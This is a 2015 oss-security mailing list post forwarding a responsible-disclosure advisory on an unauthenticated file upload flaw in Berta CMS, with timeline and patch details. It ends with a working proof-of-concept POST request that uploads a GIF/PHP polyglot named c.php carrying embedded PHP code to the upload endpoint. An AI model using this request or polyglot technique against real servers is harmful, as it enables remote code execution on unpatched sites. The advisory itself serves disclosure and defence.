Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list] 
Message-Id: <C6303836-0701-4577-A248-53800051FE45@surevine.com>
Date: Fri, 27 Mar 2015 10:18:34 +0000
From: Simon Waters <simon.waters@...evine.com>
To: oss-security@...ts.openwall.com
Subject: Fwd: Insecure file upload in Berta CMS

Can a CVE id be allocated for this?


> Begin forwarded message:
> 
> From: Simon Waters <simon.waters@...evine.com>
> Subject: Insecure file upload in Berta CMS
> Date: 26 March 2015 18:01:09 GMT
> To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org
> 
> Berta CMS is a web based content management system using PHP and local file storage.
> 
> http://www.berta.me/
> 
> Due to use of a 3rd party Berta CMS website to redirect links within a phishing email brought to our attention we checked the file upload functionality of this software.
> 
> We found that the file upload didn't require authentication.
> 
> Images with a ".php" extension could be uploaded, and all that was required is that they pass the PHP getimagesize() function and have suitable dimensions.
> 
> It is possible for GIF image files (and possibly other image files - not tested) to contain arbitrary PHP whilst being well enough formed to pass the getimagesize() function with acceptable dimensions.
> 
> http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/ <http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/>
> 
> We can't ascertain if this is the weakness that was used to compromise the 3rd party server in question, however the patch requires authentication for all file uploads, which will likely resolve any similar issues.
> 
> The author was notified: 2015-03-22
> Author Acknowledge: 2015-03-23
> Patch released: 2015-03-26
> 
> The berta-0.8.10b.zip file from: http://www.berta.me/download/  includes a fix that requires authentication to upload files.
> 
> 
> This announcement should not be interpreted as implying either the author, or Surevine, have conducted any in-depth assessment of the suitability of Berta CMS for any purpose (Sometimes you just want to make life harder for those sending phishing emails).
> 
> 
> The following POST request will upload a c.php file which will run phpinfo() when fetched on vulnerable servers.
> 
> POST /engine/upload.php?entry=true&mediafolder=.all HTTP/1.1
> Host: 192.168.56.101
> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Referer: http://192.168.56.101/upload.html
> Connection: keep-alive
> Content-Type: multipart/form-data; boundary=---------------------------2147563051636691175750543802
> Content-Length: 1617
> 
> -----------------------------2147563051636691175750543802
> Content-Disposition: form-data; name="Filedata"; filename="c.php"
> Content-Type: text/php
> 
> GIF89/* < ³ ÿÿÿfffÌÌÌ333Ìÿÿ™™™3ffÌÌÿÌÿÌ™™Ìf3f 33 f™™3 3 3!þ GIF SmartSaver Ver1.1a , È < þ ÈI«½8ëÍ»ÿ`(Ždižhª®lë¾p,Ïtmßx®ï|ïÿÀ p¸ Ȥr™$ö˜ 4ê¬Z¯Õ cËíz¿`n { „ 2-xLn»ßé³|Î`« ¼^O6‡ãkp‚ƒ„#jtˆ]v)~`}g€_‹…”••‡‰‰“' _ 1˜Š–¤¥‚¢™s›& ^ŸŽ¡a«¦´µ?¨©g³$­]¯ž± ¶ÃÄ<¸¹Âw X½\‘^»ÅÒÓ+ÇÈÐ,Í[Ô%ÇÑÜàá)ÖßÙËâ Þèëì'äeç MÌJ êíøùöº x{{ üý P€‚64 
> ðVpÃ@> 8PƒÄ3 R±pOŸÇ þ ÞU8˜!@˜ (SbL9 a “š6Z8·° É 03 )¡#ÈŸøD Œ÷òäµI ¬ qY RN›D $½Æ€§O XÅ	 p §Qd‹
> P­s c˜® &’y5«Ûi[ÓF ð´‹R~ ÄŽ%Û4 Z {·. Ðö­a[q¥Î•P—Ë]Yy o™„.mc/*ål,|¸3©Ä )\fðX˜d.L+Ç“Ã Àh¾ 8{žM ôb×'‡‚**GãEŒ Tï>غgnãÉh+/d{·…у¹FU;ñ9ë	‰Xv} A/¬Ø —‹ Ôü»u0Ñå:g. Ãëôªxv-À’嬮²Çë'R ˜Wôº™þ' f XCÅuýÜÆ ~áíç ý¹âÞqê	xÐ7Þ}ÑP{	®ç Ö„Ôàƒ$
> ¡/ (Ýz zQÜLááÕ¡€ ý6‡ˆÉ•¨c ':“â é)¶ w Ý <­H£A5å‚£$;FÉ£ŒJúw Z	žŠ -ƒ$ ¡Iõ "Ob#å™8ô¸Í ˜e)a™vu@ä— „6f"pŠ æž5¨‰Ð XVù&r v	
> 3jy'ž„šÉç£/øY …B
> h¤œ^ž f<‹’FP‹(n	%¤¤² )›q
> *{\j0§¦už *f;©ê£¨Ž–ª«	§ Ú¦­kÒ¥`ž‚
> k¢oZÓ ²¡þæ·ë³ ôzå¯ j9ë /º9*/<?php phpinfo(); ?>/*
> `ÇŽ´Ìµ°U .±áBkî>#VëE’ ¦ªîª• Šj v«­ £í ¹åœë/®¹¾‹ Æ;h»6 D ·`°k0ŠÇ H¡³ÿú› ÃòN n Äñf/¹¤a÷±ÀkFÜ ‡ WlîÅÊÊ4f c¶Q s´6 ¢ˆz Ê1/RǯÊ@Wpñ ™É ³&¸ ­Ç]Aæ|ñ n± O ôÕ o+îi! † ¥!"“ÓÀ"4õ ¥—2Ö¤^ óX0wʆZ™´F6É rÝuÖV³­²Û Ò óÔzâ Hqw?|kà‚ÿìwÅnóýUÆ’k­øá‡e |ùŸ•£7šã [L%G‚ãA©á}‹–Ku™7¼éza q- k‡Žf䬆·¯¯£ŽÔé² $nç Àk vº¶'o D(åá°<
> éQ€ `£` q}FÙ*ïý÷à‡/þøä—oþù觯þúì·ïþûðÇ/ÿüô×oÿýøç¯ÿþü÷ïÿÿ . ;
> 
> -----------------------------2147563051636691175750543802
> Content-Disposition: form-data; name="submit"
> 
> Upload Image
> -----------------------------2147563051636691175750543802--

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.